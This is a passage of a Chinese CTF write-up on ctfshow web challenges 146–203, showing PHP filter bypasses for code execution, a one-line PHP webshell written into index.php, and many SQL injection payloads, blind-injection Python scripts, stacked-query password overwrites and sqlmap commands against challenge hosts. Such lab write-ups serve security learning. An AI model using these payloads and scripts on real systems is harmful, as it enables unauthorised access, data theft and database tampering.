这里我本来想的是利用或运算的,但是发现或运算不同于异或和取反,它必须将|两边用引号引起来(不过单引号也行,当时只试了双引号

web146

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

:也被过滤了,三目运算符用不了了,但是可以用或符号

?v1=1&v2=2&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%0c%13'|'%60%60')|

web147

<?php

highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

一道creat_function构造匿名函数的rce

https://paper.seebug.org/94/

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

image-20220507223054651

所以我们可以构造payload

get:
return 2333;}system('ls');//
post:
ctf=\create_function

image-20220507223426477

这个时候creat_function的结构类似

function a(){return 2333;}system('ls');//}

我们的命令成功逃逸了

web148

<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没过滤^可以直接异或

("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60");

预期解是是使用中文

?code=$哈="{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

"{{{"^"?<>/"; 异或出来的结果是 _GET

感觉多少有点抽象了

web149

<?php

error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

把除了index.php的文件全删了,看起来是文件竞争

但是有非预期,直接利用file_put_contents往index.php里写马就行

payload

get:
ctf=index.php
post:
show=<?php eval($_GET[1]);?>

然后访问index.php执行命令

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

利用extract变量覆盖让isVIP=1

日志写马

image-20220507225345310

sql注入

web171

题目给了查询语句

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

字符型注入,利用单引号闭合

联合注入

三个字段

查库,查表,查列名,查字段

payload(之后差不多的查询语句就写一个最终的payload就够了

-1' union select database(),2,3--+ //查库

-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web" --+  //查表

-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+ //查列名


-1' union select group_concat(id,username,password),2,3 from ctfshow_user --+  //最终payload

web172

select模块无过滤注入1

//这个不就是web171吗(

-1' union select group_concat(id,username,password),2,3 from ctfshow_user2 --+ 

select模块无过滤注入2

少了一列,方法还是一样的

-1' union select group_concat(username,password),3 from ctfshow_user2 --+

web173

这里除了常规的sql语句外还有个过滤,其实172的无过滤注入2就有这个过滤,就是不知道为什么还是注出来了

if(!preg_match('/flag/i', json_encode($ret))){
  $ret['msg']='查询成功';
}

查询到的内容不能有flag这个字符串,简单一点就是不查username列,直接看password就行。或者用to_base64()来对username进行编码

最终payload

-1' union select group_concat(id,to_base64(username),password),2,3 from ctfshow_user3 --+ 

image-20220509172125292

web174

//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

不光过滤了flag,还过滤了数字,盲注看起来是最好的选择了,看大部分的wp也都是盲注

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)
# by macchiato
import requests
import string
flag = ''
table = string.digits + string.ascii_letters + '-{}'
for i in range(1, 45):
    for j in table:
        url = "http://dcfd2cf7-1f37-408e-a4d1-c834d09ac388.chall.ctf.show//api/v4.php?id="
        payload = '''1' and substr((select password from ctfshow_user4 where username="flag"),{},1)="{}"--+'''.format(i,j)
        r = requests.get(url + payload)
        if "admin" in r.text:
            flag += j
            print(flag)
            break

我这里就不跑了,直接贴脚本。

还有一种是将数字替换为字母

但本来的flag中一定也会有一些小写字母,这样的话就没办法分辨那个是原本的字母哪个是替换出来的。

所以为了避免这个问题,将password首先hex一下,因为hex()函数的返回值中字母都是大写的,所以我们返回结果中的小写字母就是原来的数字,而大写字母就是原本的字符。

这个虽然说比较麻烦,但也是一种很好的解题思路。

1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+

web175

//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

把字符全ban了

不能通过回显来布尔盲注了,可以利用时间盲注

import time
import requests
url = 'http://5adcc7d3-c4d3-440a-8f3e-a4b93e6b61e4.challenge.ctf.show/api/v5.php'
flag = ''
for i in range(60):
    lenth = len(flag)
    min,max = 32,128
    while True:
        j = min + (max-min)//2
        if(min == j):
            flag += chr(j)
            print(flag)
            break

        payload = f"?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))<{j},sleep(0.5),'False') --+"
        start_time = time.time()
        r = requests.get(url=url+payload).text
        end_time = time.time()
        sub = end_time - start_time
        if(sub >= 0.5):
            max = j
        else:
            min = j

还可以用into outfiledumpfile来写shell

-1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/flag.txt' --+
-1' union select username,password from ctfshow_user5 where username='flag' into dumpfile '/var/www/html/flag.txt' --+

web176

试了一下,是过滤了小写的select,变个大写字母就行

id=-1' union Select group_concat(column_name),2,3  from information_schema.columns where table_name='ctfshow_user'--+ //查列


最终payload
-1' union Select group_concat(id,username,password),2,3  from ctfshow_user--+ 

web177

过滤了空格,-,+,#,,or,空格可以用/**/绕过注释可以用#的url编码%23,or可以用||替代

因为没有过滤,所以直接万能密码就能出

-1'||1%23

正经注入的话差不多就是这样

-1'union/**/select/**/1,2,password/**/from/**/ctfshow_user%23

web178

我有点看不懂这个过滤了

为什么1‘or1%23不行1’||1%23可以,1‘or(1)%23可以,1’or(1=1)%23可以呢

or后边跟的一定要存在空格吗,是我记错了吗。。。

这个过滤了空格,*,那么用/**/当空格是不行的,但是可以用%09 %0a %0d %0c +之类的替代空格,或者利用括号

正经的注入的话

payload

-1'union%09select%091,2,password%09from%09ctfshow_user%23

web179

1'||1=1%23

万能密码还是可以

或者利用%0c代替空格

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%23

或者空格

-1'union(select(1),2,(password)from(ctfshow_user))%23

web180

%23也被过滤了,但是%0c还能用,-也能用,所以我们可以用

--%0c来代替--+的空格,只要把上一题的用来注释的%23改成--%0c就行了

或者不要注释符让后面的单引号能够闭合

比如

-1'%0cunion%0cselect'1',(select%0cgroup_concat(password)from`ctfshow_user`),'3

或者这种

1111'or(id=26)and'a'='a

因为sql中and优先级高于or所以就会变成

(username !='flag' and id = '11') or (id=26and'a'='a')

web181

function waf($str){
  return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

给了waf函数的内容

image-20220509204736531

不要注释直接闭合,然后利用id查出flag

常规的注入在这种没注释符的情况下一般都是用

’1’='1来替代了%23

web182

function waf($str){
  return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

同样是利用or和and的优先级问题,利用id查出flag

1111'or(id=26)and'a'='a

web183

改成post方式了

等于和select被过滤了,看起来只能利用like进行盲注了

tableName=(ctfshow_user)where(pass)like'ctfshow{%'

image-20220509211946454

返回为1,说明确实有这个字段,然后就是利用盲注了

偷一下南方师傅的脚本

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests

url = "http://adb1f64a-e1fd-4640-aeb5-b49da1a62390.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        data = {"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)}
        res = requests.post(url=url, data=data)
        if "$user_count = 1" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web184

function waf($str){
   return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
 }

过滤的确实有点多

这里连where也过滤了,可以利用right join,右连接的方式查表

https://blog.csdn.net/weixin_48083470/article/details/119043137

利用十六进制来绕过最后的引号,字段猜测和上个题一样在pass里

tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

可以看到有返回值,所以就可以上脚本跑了

再偷一下南方师傅的脚本

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests
import binascii

def to_hex(s):
    # 字符串转16进制
    str_16 = binascii.b2a_hex(s.encode('utf-8'))  
    str_16 = bytes.decode(str_16)
    res = str_16.replace("b'","").replace("'","")
    return res

url = "http://4d223a13-c7d6-4213-9c81-d388a5c26634.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        result = "0x" + to_hex(flag + j + "%")
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web185

function waf($str){
   return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
 }

这个waf,把数字也全ban了,那就不能用十六进制了,但是引号一样被ban了

放张图

在这里插入图片描述

再偷一个南方师傅的脚本

这里主要是利用了mysql里true=1 true+true=2的特性,硬加true让数值等于我们要的字母的ASCII码值,然后在外面套个chr转化为字符,再利用concat进行拼接

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/8 21:24
# blog: www.wlhhlc.top
import requests

def createNum(n):
    str = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            str += "+true"
    return str
#把每一个字符转换成ascii码对应的数值
def change_str(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url = "http://c0323dfb-fa55-4925-9c61-2e4b8c64e835.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
    for j in str:
        result = change_str(flag + j + "%")
        data = {"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({0}))".format(result)}
        res = requests.post(url=url, data=data)
        if "$user_count = 43;" in res.text:
            flag += j
            print(flag)
            if j=="}":
                exit()
            break

web186

function waf($str){
  return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

虽然多加了几个,但是上一题的脚本可以接着用

web187

是登录页面,要求以admin的账户登录,但是对username的验证没法绕过,只能利用password的部分

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
      

返回逻辑

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
    $ret['msg']='用户名不存在';
    die(json_encode($ret));
}
  

可以看到这里的password是md5的形式,而这里存在一个很特殊的字符串ffifdyop

md5("ffifdyop",true) = 'or'6]!r,b

将这个放在密码里,整个查询语句就会被闭合

select count(*) from ctfshow_user where username = '$username' and password=''or'6]!r,b'
也就是:
select count(*) from ctfshow_user where username = '$username' and password= ''or '6]!r,b'
也就是:
select count(*) from ctfshow_user where FALSE or TRUE
or的存在配合后面的TRUE就绕过了

image-20220509221244579

web188

 $sql = "select pass from ctfshow_user where username = {$username}";

//密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

在where username=0这样的查询中,因为username都会是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,因此这个where可以把所有以字母开头的数据查出来

而if($row[‘pass’]==intval($password)) 也是弱比较,查出来的也是字母开头的

所以payload为

username=0&password=0

但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

username=1||1&password=0

web189

先试一下上一题的payload,发现没成功,估计是数字开头的了,而题目提示flag在api/index.php里感觉就是利用load_file读文件了

load_file(),用法一般是select load_file(xxxx)

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/4/15 22:14
# blog: www.wlhhlc.top
import requests
url = "http://e232d7fb-b70d-4123-a740-369d7137c5dd.challenge.ctf.show:8080/api/index.php"
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"

for i in range(200):
    for j in all_str:
        data = {
            "username":"if(load_file('/var/www/html/api/index.php')regexp('{0}'),0,1)".format(flag + j),
            'password':0
        }
        res = requests.post(url=url, data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag +=j
            print(flag)
            break
        if j=='}':
            exit()

web190

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪

盲注

image-20220509225707786

底下这个图应该也用or测的,懒得再截图了

image-20220509225602279

可以看到正确的时候返回密码错误,错误的时候返回用户名不存在,所以直接盲注就行了

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/1 21:57
# blog: www.wlhhlc.top
import requests
url = "http://e4bfc493-4ed3-4091-99b3-e1770febcde1.challenge.ctf.show:8080/api/"
data = {'username':'',
        'password':123456}
flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ascii(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

web191

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

    

加了个过滤,ascii被过滤了,最简单的就是不用二分法直接遍历比较(

把ascii换成ord

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 17:03
# blog: www.wlhhlc.top
import requests
url = "http://d0f3a387-5d85-4a5c-a4b8-2267077de55f.challenge.ctf.show:8080/api/"
data = {'username':'',
        'password':123456}
flag = ''

for i in range(1,46):
    start = 32
    end = 127
    while start < end:
        mid = (start + end) >> 1
        #取表名:payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #取字段名:payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        payload = "select f1ag from ctfshow_fl0g"
        data['username'] = f"admin' and if(ord(substr(({payload}), {i} , 1)) > {mid}, 1, 2)=1#"
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            start = mid +1
        else:
            end = mid
    flag = flag + chr(start)
    print(flag)

web192

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii|ord|hex/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

ord ascii hex都被过滤了,所以还是直接遍历吧(

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/2 17:03
# blog: www.wlhhlc.top
import requests
url = "http://185fcade-247d-4a43-a4fc-5cd023f84184.challenge.ctf.show:8080/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"

for i in range(1,99):
    for j in all_str:
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        username_data = f"admin' and if(substr(({payload}), {i}, 1)regexp('{j}'), 1, 0)=1#"
        data = {'username': username_data,
                'password': 1}
        res = requests.post(url=url, data=data)
        if "密码错误" in res.json()['msg']:
            flag += j
            print(flag)
            break
        if j == "}":
            exit()

这里我觉得等于号没被过滤的话直接比较看起来会更简单一点

web193

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

substr也没了,这里可以用left、right、mid、locate、substring代替

left("abc",2)
返回从左边第一个开始两个字符"ab"
locate("ab","abxx")
返回第一个参数在第二个参数中出现的位置,从1开始计数

locate:

import time

import requests

url = "http://bd4fa184-8dec-427e-943d-762e0ed0deb9.challenge.ctf.show/api/index.php"
flagstr_full = "0123456789-}qwertyuiopasdfghjklzxcvbnm{,_"
flagstr = "1234567890{-}abcdef"
flag = "ctfshow"
payload = r"' or if(locate('{}',(select group_concat(f1ag) from ctfshow_flxg)),1,0) ='1"

for i in range(60):
    for j in flagstr:
        tj = flag+j
        data = {
            "username":payload.format(tj),
            "password":"0"
        }
        res = requests.post(url , data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag += j
            print(flag)
        time.sleep(0.3)

left:

import time

import requests

url = "http://328932d3-030e-460a-923e-6003243856d4.challenge.ctf.show/api/index.php"
flagstr = "0123456789-}qwertyuiopasdfghjklzxcvbnm{,_"
flag = ""
payload = r"' or if(left((select group_concat(f1ag) from ctfshow_flxg), {})regexp('{}'),1,0) ='1"

for i in range(60):
    for j in flagstr:
        tj = flag+j
        data = {
            "username":payload.format(str(i),tj),
            "password":"0"
        }
        res = requests.post(url , data = data)
        if r"\u5bc6\u7801\u9519\u8bef" in res.text:
            flag += j
            print(flag)
        time.sleep(0.3)

还可以利用like的模糊匹配和regexp的正则

regexp正则:

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/11 14:03
# blog: www.wlhhlc.top
import requests
url = "http://4c28d2d4-bcae-4e08-9e24-dfa0cb694305.challenge.ctf.show:8080/api/"
flag = ""
all_str = "0123456789abcdefghijklmnopqrstuvwxyz-,_{}"

for i in range(1,99):
    for j in all_str:
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'"
        payload = "select group_concat(f1ag) from ctfshow_flxg"
        username_data = "admin' and if(({0})regexp('^{1}'), 1, 0)=1#".format(payload, flag + j)
        data = {'username': username_data,
                'password': 1}
        res = requests.post(url=url, data=data)
        #print(data)
        if "密码错误" in res.json()['msg']:
            flag += j
            print(flag)
            break
        if j == "}":
            exit()

like:

import requests
url = "http://618941b4-ab0f-43e2-83ce-01afe487708c.challenge.ctf.show/api/"
flag = ""
table = "0123456789abcdefghijklmnopqrstuvwxyz-,{}_"

for i in range(1,99):
    for j in table:
        pay = flag+j+'%'
        username_data = f"' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{pay}',1,0)#"
        data = {'username': username_data,
                'password': 1}
        r = requests.post(url=url, data=data).text
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            flag += j
            print(flag)
            if j == "}":
                exit()
            break

web194

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑reg

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

like的模糊匹配,regexp的正则还有mid、locate之类的都能用

web195

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";
    

返回逻辑

//密码检测
if(!is_numeric($password)){
  $ret['msg']='密码只能为数字';
  die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
    $ret['msg']='登陆成功';
  }

//TODO:感觉少了个啥,奇怪
  if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
      $ret['msg']='用户名非法';
      die(json_encode($ret));
  }

这里是堆叠注入,在我还想爆字段的时候,大师傅们已经用update把密码改了直接登录了

UPDATE用法

UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
Copy

使用update修改密码

0;update`ctfshow_user`set`pass`=1

不过试了一下发现好像也查不了字段,过滤的有点多,要查感觉只能盲注

payload

0;update`ctfshow_user`set`pass`=1

image-20220509232642673

南方师傅和y4师傅都说因为 $sql = "select pass from ctfshow_user where username = {$username};";这个语句没引号所以要用十六进制

所以他们的payload都是下面这种形式

payload="0x61646d696e;update`ctfshow_user`set`pass`=0x313131;"

而我这里没有用十六进制而是0的原因在web188里

web196

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
    

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
  $ret['msg']='用户名非法';
  die(json_encode($ret));
}

if(strlen($username)>16){
  $ret['msg']='用户名不能超过16个字符';
  die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}
    

限制了用户名长度,上一题的payload不能用了

这里好像是后端验证有问题,select没被过滤,所以可以构造payload

username = 0;select(1)
password = 1

因为

select pass from ctfshow_user where username = 0;

显然不会成立,所以查询后会返回后面的语句结果,而select(1)返回的结果是1,所以这时只要密码是1就能登陆成功

image-20220510112512012

web197

查询语句

//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";
    

返回逻辑

//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
  $ret['msg']='用户名非法';
  die(json_encode($ret));
}

if($row[0]==$password){
    $ret['msg']="登陆成功 flag is $flag";
}   

select,update,set被过滤了

但是show没有,结合查询语句我们能知道表名是ctfshow_user

所以可以构造payload

username = 0;show tables
password = ctfshow_user

web198

197的payload还能用

南方师傅还写了另一种思路

这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下

PYTHON
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/6/15 22:53
# blog: www.wlhhlc.top
import requests

url = "http://e36a9275-a8a8-4def-bce5-0988a2b9b81d.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `dotast` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `dotast` `id` varchar(255);'
data1 = {
    'username': payload,
    'password': '1'
}
res = requests.post(url=url, data=data1)

for i in range(99):
    data2 = {
        'username': "0x61646d696e",
        'password': f'{i}'
    }
    res2 = requests.post(url=url, data=data2)
    if "flag" in res2.json()['msg']:
        print(res2.json()['msg'])
        break

web199-200

web197的payload或者用198写的脚本

web201

从这之后的几道题都是sqlmap的使用

Sqlmap常见命令_K'illCode的博客-CSDN博客

[ sqlmap最新版下载](https://ctfshow.lanzoui.com/i4wlziac1de)

 使用--user-agent 指定agent

 使用--referer 绕过referer检查

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

题目上都写了

使用--user-agent 指定agent

使用--referer 绕过referer检查

抓一下包找到查询的api接口

然后referer要为ctf.show

python sqlmap.py -u "http://929912ab-39c5-48ee-8cbe-bbc3e4562124.challenge.ctf.show/api/?id=1"  --referer="http://929912ab-39c5-48ee-8cbe-bbc3e4562124.challenge.ctf.show" --dump --batch --no-cast --
--dump             转储数据库表项,查询字段值-session
--no-cast  获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到,提示尝试使用--no-cast)

--dump             转储数据库表项,查询字段值

--batch		//自动选择选项

--flush-session		sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项。

image-20220510161320437

如果是一步一步的查,那payload应该是

sqlmap -u "http://50a4f61e-b424-4597-b92c-c768d2ee4089.challenge.ctf.show:8080/api/?id=1" --refer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump

web202

使用--data 调整sqlmap的请求方式

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }  

那估计要使用 --data 指定 sqlmap 以 post 方式提交数据。

payload

python sqlmap.py -u "http://0cebe0af-c76a-4335-a5a8-16064c4de582.challenge.ctf.show/api/" --data="id=1" --referer="ctf.show" --dump --batch --no-cast --flush-session

image-20220510162400623

web203

使用--method 调整sqlmap的请求方式

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

提示要用method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交

python sqlmap.py -u "http://43ff4bac-b773-4dbb-a031-4e7733802d21.challenge.ctf.show/api/index.php" --data="id=1" --headers="Content-Type: text/plain" --referer="ctf.show" --dump --batch --no-cast --flush-session --method="PUT"
或者
